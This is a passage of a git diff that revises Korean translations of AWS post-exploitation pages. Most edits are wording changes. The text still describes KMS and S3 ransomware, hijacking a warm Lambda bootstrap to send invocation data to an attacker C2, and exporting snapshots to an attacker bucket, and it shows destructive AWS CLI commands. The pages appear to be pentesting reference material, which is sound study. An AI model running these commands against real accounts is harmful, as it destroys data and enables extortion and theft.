"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ IAM 접근에 대한 자세한 정보:
}
}
```
-S3 버킷이 주체로 주어지면, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가** 자신의 계정에서 그것을 생성하면, 그들은 이를 악용할 수 있습니다.
+S3 버킷이 주체로 제공되는 경우, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가 자신의 계정에서** 그것을 생성하면, 그들은 이를 악용할 수 있습니다.
#### 지원되지 않음
```json
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 1ae7e567c..ec1026a06 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -10,7 +10,7 @@
../aws-services/aws-kms-enum.md
{{#endref}}
-### 정보 암호화/복호화
+### Encrypt/Decrypt information
`fileb://` 및 `file://`는 AWS CLI 명령에서 로컬 파일의 경로를 지정하는 데 사용되는 URI 스킴입니다:
@@ -62,12 +62,12 @@ aws kms decrypt \
KMS에 대한 권한이 있는 공격자는 키의 KMS 정책을 수정하고 **자신의 계정에 대한 액세스를 부여**하여 정당한 계정에 부여된 액세스를 제거할 수 있습니다.
-그런 다음, 정당한 계정 사용자는 이러한 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어를 생성하게 됩니다.
+그런 다음, 정당한 계정 사용자는 해당 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어가 생성됩니다.
> [!WARNING]
> **AWS 관리 키는** 이 공격의 영향을 받지 않으며, **고객 관리 키만** 영향을 받습니다.
-> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능하게 됩니다).
+> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능합니다).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> 정책을 변경하고 외부 계정에만 액세스를 부여한 후, 이 외부 계정에서 **원래 계정에 대한 액세스를 다시 부여하는 새로운 정책을 설정하려고 하면, 할 수 없습니다**.
+> 정책을 변경하고 외부 계정에만 액세스를 부여하면, 이 외부 계정에서 **원래 계정으로 액세스를 다시 부여하는 새로운 정책을 설정하려고 해도 할 수 없습니다**.
@@ -102,9 +102,9 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
글로벌 KMS 랜섬웨어를 수행하는 또 다른 방법이 있으며, 다음 단계를 포함합니다:
-- 공격자가 가져온 **키 자료로 새 키를 생성합니다**
-- **이전 버전으로 암호화된 오래된 데이터를** 새 키로 **재암호화합니다**.
-- **KMS 키를 삭제합니다**
+- 공격자가 가져온 **키 자료로 새 키를 생성**
+- 이전 버전으로 암호화된 **구 데이터를 새 키로 재암호화**
+- **KMS 키 삭제**
- 이제 원래 키 자료를 가진 공격자만 암호화된 데이터를 복호화할 수 있습니다.
### 키 파괴
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 9940c5156..aeeff4285 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -14,19 +14,19 @@
3. **bootstrap.py**는 init 프로세스에서 호출을 가져오는 루프를 가지고 있으며, 이를 처리하기 위해 사용자 코드를 호출합니다 (**`/next`**).
4. 마지막으로, **bootstrap.py**는 init에 **응답**을 전송합니다.
-bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행된 모든 코드 실행은 실제로 이 프로세스에서 발생합니다.
+bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행되는 모든 코드 실행은 실제로 이 프로세스에서 발생합니다.
## Lambda 요청 훔치기
-이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 **`bootstrap.py`** 프로세스 내에서 악성 **`bootstrap.py`** 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 **악성 bootstrap** 프로세스가 요청을 처리하기 위해 **init 프로세스와 대화**를 시작하고, **정상** bootstrap은 악성 프로세스를 실행 중에 **갇히게** 되어 init 프로세스에 요청을 요청하지 않게 됩니다.
+이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 **`bootstrap.py`** 프로세스 내에서 악성 **`bootstrap.py`** 프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 **악성 bootstrap** 프로세스가 요청을 처리하기 위해 **init 프로세스와 통신**을 시작하고, **정상** bootstrap은 악성 프로세스를 실행 중에 **갇히게** 되어 init 프로세스에 요청을 요청하지 않게 됩니다.
-사용자의 코드가 정상 **`bootstrap.py`** 프로세스에 의해 실행되고 있기 때문에, 이는 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다:
+이것은 사용자의 코드가 정상 **`bootstrap.py`** 프로세스에 의해 실행되고 있기 때문에 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다:
- **현재 호출의 가짜 결과를 init 프로세스에 전송**하여 init이 bootstrap 프로세스가 더 많은 호출을 기다리고 있다고 생각하게 만듭니다.
- **`/${invoke-id}/response`**에 요청을 전송해야 합니다.
-- invoke-id는 정상 **`bootstrap.py`** 프로세스의 스택에서 [**inspect**](https://docs.python.org/3/library/inspect.html) 파이썬 모듈을 사용하여 얻거나, **`/2018-06-01/runtime/invocation/next`**에 다시 요청하여 얻을 수 있습니다 (여기서 [제안됨](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- invoke-id는 [**inspect**](https://docs.python.org/3/library/inspect.html) 파이썬 모듈을 사용하여 정상 **`bootstrap.py`** 프로세스의 스택에서 얻거나, **`/2018-06-01/runtime/invocation/next`**에 다시 요청하여 얻을 수 있습니다.
- 다음 호출을 처리할 악성 **`boostrap.py`**를 실행합니다.
-- 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 후 요청을 평소처럼 처리할 수 있습니다.
+- 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 다음 요청을 일반적으로 처리할 수 있습니다.
- 이 공격을 위해, 시스템에서 **`bootstrap.py`**의 원본 코드를 가져오거나 [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py)에서 가져와 악성 코드를 추가하고 현재 lambda 호출에서 실행하면 충분합니다.
### 공격 단계
@@ -35,7 +35,7 @@ bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에
2. **악성** **bootstrap** 생성 (예: [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **악성 bootstrap 실행**.
-이러한 작업을 쉽게 수행할 수 있습니다:
+이 작업을 수행하려면 쉽게 실행할 수 있습니다:
```bash
python3 < --db-snapshot-identifier
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier --
```
### `rds:DownloadDBLogFilePortion`
-`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일의 일부를 다운로드**할 수 있습니다. 민감한 데이터나 접근 자격 증명이 우연히 기록된 경우, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
+`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일의 일부를 다운로드**할 수 있습니다. 민감한 데이터나 접근 자격 증명이 우연히 기록되면, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
-이 권한을 가진 공격자는 **기존 RDS 인스턴스를 DoS할 수 있습니다**.
+이 권한을 가진 공격자는 **기존 RDS 인스턴스를 DoS**할 수 있습니다.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -73,10 +73,10 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
> [!NOTE]
> TODO: 테스트
-이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
+이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어하는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
-**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
+**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 0747ae317..ac167360d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - S3 Post Exploitation
+# AWS - S3 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,12 +12,12 @@
### 민감한 정보
-때때로 버킷에서 읽을 수 있는 민감한 정보를 찾을 수 있습니다. 예를 들어, terraform 상태 비밀입니다.
+때때로 버킷에서 읽을 수 있는 민감한 정보를 찾을 수 있습니다. 예를 들어, terraform 상태 비밀이 있습니다.
### 피벗팅
-다양한 플랫폼이 민감한 자산을 저장하기 위해 S3를 사용할 수 있습니다.\
-예를 들어, **airflow**는 **DAGs** **코드**를 거기에 저장할 수 있으며, **웹 페이지**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한이 있는 공격자는 버킷의 **코드를 수정하여** 다른 플랫폼으로 **피벗**하거나 JS 파일을 수정하여 **계정을 인수**할 수 있습니다.
+다양한 플랫폼이 S3를 사용하여 민감한 자산을 저장할 수 있습니다.\
+예를 들어, **airflow**는 **DAGs** **코드**를 거기에 저장할 수 있으며, **웹 페이지**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한이 있는 공격자는 버킷의 **코드를 수정하여** 다른 플랫폼으로 **피벗**하거나 JS 파일을 수정하여 **계정을 탈취**할 수 있습니다.
### S3 랜섬웨어
@@ -25,13 +25,13 @@
공격자는 **대상 S3 버킷을 식별하고** 다양한 방법을 사용하여 쓰기 수준의 접근 권한을 얻습니다. 이는 공개적으로 노출된 잘못된 버킷 구성 때문일 수 있거나 공격자가 AWS 환경 자체에 접근할 수 있기 때문입니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등과 같은 민감한 정보를 포함하는 버킷을 목표로 합니다.
-버킷이 랜섬웨어 공격의 대상이 될 수 있는지 확인하기 위해 공격자는 그 구성을 확인합니다. 여기에는 **S3 객체 버전 관리**가 활성화되어 있는지와 **다단계 인증 삭제(MFA 삭제)가 활성화되어 있는지** 확인하는 것이 포함됩니다. 객체 버전 관리가 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. 객체 버전 관리가 활성화되어 있지만 MFA 삭제가 비활성화되어 있으면 공격자는 **객체 버전 관리를 비활성화**할 수 있습니다. 객체 버전 관리와 MFA 삭제가 모두 활성화되어 있으면 공격자가 특정 버킷을 랜섬웨어로 공격하기가 더 어려워집니다.
+버킷이 랜섬웨어 공격의 대상이 될 수 있는지 확인하기 위해 공격자는 그 구성을 확인합니다. 여기에는 **S3 객체 버전 관리**가 활성화되어 있는지와 **다중 인증 삭제(MFA 삭제)가 활성화되어 있는지** 확인하는 것이 포함됩니다. 객체 버전 관리가 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. 객체 버전 관리가 활성화되어 있지만 MFA 삭제가 비활성화되어 있으면 공격자는 **객체 버전 관리를 비활성화**할 수 있습니다. 객체 버전 관리와 MFA 삭제가 모두 활성화되어 있으면 공격자가 특정 버킷을 랜섬웨어로 공격하기가 더 어려워집니다.
AWS API를 사용하여 공격자는 **자신의 KMS 키를 사용하여 버킷의 각 객체를 암호화된 복사본으로 교체**합니다. 이는 버킷의 데이터를 효과적으로 암호화하여 키 없이는 접근할 수 없게 만듭니다.
추가 압박을 가하기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이는 대상에게 키가 삭제되기 전에 데이터를 복구할 수 있는 7일의 시간을 제공합니다.
-마지막으로, 공격자는 일반적으로 "ransom-note.txt"라는 이름의 최종 파일을 업로드할 수 있으며, 이 파일에는 대상이 파일을 복구하는 방법에 대한 지침이 포함되어 있습니다. 이 파일은 암호화 없이 업로드되어 대상의 주목을 끌고 랜섬웨어 공격을 인식하게 만들 가능성이 높습니다.
+마지막으로, 공격자는 일반적으로 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일을 복구하는 방법에 대한 지침을 포함합니다. 이 파일은 암호화 없이 업로드되어 대상의 주목을 끌고 랜섬웨어 공격을 인식하게 하려는 의도가 있습니다.
**자세한 정보는** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index e4eba18e6..46e4d41ad 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -19,7 +19,7 @@
비밀의 값을 변경하면 **해당 값에 의존하는 모든 시스템에 DoS를 발생시킬 수 있습니다.**
> [!WARNING]
-> 이전 값도 저장되므로, 이전 값으로 쉽게 돌아갈 수 있습니다.
+> 이전 값도 저장되므로 이전 값으로 쉽게 돌아갈 수 있습니다.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index 6200dc2a7..185f52c88 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SES Post Exploitation
+# AWS - SES 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### `ses:SendEmail`
-이메일을 보냅니다.
+이메일을 전송합니다.
```bash
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
@@ -51,19 +51,17 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries
```
### `ses:SendBounce`
-받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일을 받은 후 24시간 이내에만** 수행할 수 있습니다.
+받은 이메일에 대해 **반송 이메일**을 보냅니다(이메일을 받을 수 없음을 나타냄). 이는 **이메일 수신 후 24시간 이내에만** 수행할 수 있습니다.
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
-아직 테스트해야 함.
+아직 테스트해야 합니다.
### `ses:SendCustomVerificationEmail`
-이것은 사용자 정의 확인 이메일을 보냅니다. 템플릿 이메일을 생성하기 위한 권한도 필요할 수 있습니다.
+이것은 맞춤형 확인 이메일을 보냅니다. 템플릿 이메일을 생성할 권한도 필요할 수 있습니다.
```bash
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-아직 테스트할 것.
-
-{{#include ../../../banners/hacktricks-training.md}}
+아직 테스트해야 함.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index eb5d66262..5ace11f51 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -4,7 +4,7 @@
## SNS
-자세한 정보:
+자세한 정보는 다음을 참조하십시오:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,11 +12,11 @@
### 메시지 방해
-여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 전송하는 데 사용됩니다. 공격자가 클라우드에서 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다.
+여러 경우에 SNS 주제는 모니터링되는 플랫폼(이메일, 슬랙 메시지 등)으로 메시지를 보내는 데 사용됩니다. 공격자가 클라우드 내 자신의 존재를 알리는 메시지 전송을 방지하면, 그는 탐지되지 않을 수 있습니다.
### `sns:DeleteTopic`
-공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
+공격자는 전체 SNS 주제를 삭제하여 메시지 손실을 초래하고 해당 주제에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
```bash
aws sns delete-topic --topic-arn
```
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn
### `sns:Publish`
-공격자는 SNS 주제에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업의 트리거 또는 리소스 소모를 초래할 수 있습니다.
+공격자는 SNS 주제에 악의적이거나 원치 않는 메시지를 보낼 수 있으며, 이로 인해 데이터 손상, 의도하지 않은 작업 트리거 또는 리소스 소모가 발생할 수 있습니다.
```bash
aws sns publish --topic-arn --message
```
@@ -40,7 +40,7 @@ aws sns set-topic-attributes --topic-arn --attribute-name --attr
### `sns:Subscribe` , `sns:Unsubscribe`
-공격자는 SNS 주제에 구독하거나 구독 해지할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 해당 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
+공격자는 SNS 주제에 구독하거나 구독을 취소할 수 있으며, 이로 인해 메시지에 대한 무단 접근을 얻거나 주제에 의존하는 애플리케이션의 정상적인 기능을 방해할 수 있습니다.
```bash
aws sns subscribe --topic-arn --protocol --endpoint
aws sns unsubscribe --subscription-arn
@@ -63,6 +63,6 @@ aws sns remove-permission --topic-arn --label
aws sns tag-resource --resource-arn --tags Key=,Value=
aws sns untag-resource --resource-arn --tag-keys
```
-**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
+**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index 7419be4c5..eff8396c6 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -10,14 +10,14 @@
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### `sqs:SendMessage`, `sqs:SendMessageBatch`
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
-공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 리소스를 소모할 수 있습니다.
+공격자는 SQS 큐에 악성 또는 원치 않는 메시지를 보낼 수 있으며, 이는 데이터 손상, 의도하지 않은 작업을 유발하거나 자원을 소모할 수 있습니다.
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 자원 고갈.
+**잠재적 영향**: 취약점 악용, 데이터 손상, 의도하지 않은 행동 또는 리소스 고갈.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
@@ -27,7 +27,7 @@ aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout
```
-**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상, 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
+**잠재적 영향**: 민감한 정보 도용, 메시지 손실, 데이터 손상 및 영향을 받는 메시지에 의존하는 애플리케이션의 서비스 중단.
### `sqs:DeleteQueue`
@@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url
### `sqs:SetQueueAttributes`
-공격자는 SQS 큐의 속성을 수정할 수 있으며, 이는 성능, 보안 또는 가용성에 영향을 미칠 수 있습니다.
+공격자는 SQS 큐의 속성을 수정하여 성능, 보안 또는 가용성에 영향을 줄 수 있습니다.
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
@@ -64,10 +64,10 @@ aws sqs untag-queue --queue-url --tag-keys
### `sqs:RemovePermission`
-공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스의 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
+공격자는 SQS 큐와 관련된 정책을 제거하여 합법적인 사용자 또는 서비스에 대한 권한을 철회할 수 있습니다. 이로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url --label
```
-**Potential Impact**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
+**잠재적 영향**: 권한의 무단 제거로 인해 큐에 의존하는 애플리케이션의 정상적인 기능이 중단될 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 5d6e2ed8c..a73c8cb70 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -12,19 +12,19 @@
### `states:RevealSecrets`
-이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 검사 수준을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
+이 권한은 **실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다**. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
+이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 필요할 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
> [!NOTE]
>
> - 상태 기계를 삭제하면 해당 기계의 모든 관련 버전과 별칭도 삭제됩니다.
> - 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다.
-> - 하나 이상의 별칭에 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다.
+> - 하나 이상의 별칭에 의해 현재 참조되고 있는 상태 기계 버전을 삭제할 수 없습니다.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
@@ -33,26 +33,26 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn
```
-- **Potential Impact**: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단.
+- **잠재적 영향**: 중요한 워크플로의 중단, 데이터 손실 및 운영 중단.
### `states:UpdateMapRun`
-이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율 및 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 중단시킬 수 있습니다.
+이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 기계 실행에 직접적인 영향을 미치고 중요한 워크플로를 중단시킬 수 있습니다.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
-- **Potential Impact**: 성능 저하 및 중요한 워크플로우의 중단.
+- **잠재적 영향**: 성능 저하 및 중요한 워크플로의 중단.
### `states:StopExecution`
-이 권한을 가진 공격자는 모든 상태 기계의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
+이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
> [!WARNING]
> 이 작업은 **express state machines**에서 지원되지 않습니다.
```bash
aws stepfunctions stop-execution --execution-arn [--error ] [--cause ]
```
-- **Potential Impact**: 진행 중인 워크플로우의 중단, 운영 중단, 및 잠재적인 데이터 손상.
+- **잠재적 영향**: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상.
### `states:TagResource`, `states:UntagResource`
@@ -61,6 +61,6 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca
aws stepfunctions tag-resource --resource-arn --tags Key=,Value=
aws stepfunctions untag-resource --resource-arn --tag-keys
```
-**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
+**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index b682fbfcc..6f8c760b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -4,7 +4,7 @@
## STS
-자세한 정보:
+자세한 정보는 다음을 참조하세요:
{{#ref}}
../aws-services/aws-iam-enum.md
@@ -12,7 +12,7 @@
### IAM 자격 증명에서 콘솔로
-IAM 자격 증명을 얻었다면 다음 도구를 사용하여 **웹 콘솔에 접근하는 것**에 관심이 있을 수 있습니다.\
+IAM 자격 증명을 얻었다면 **웹 콘솔에 접근하는 것**에 관심이 있을 수 있습니다.\
사용자/역할은 **`sts:GetFederationToken`** 권한을 가져야 합니다.
#### 사용자 정의 스크립트
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
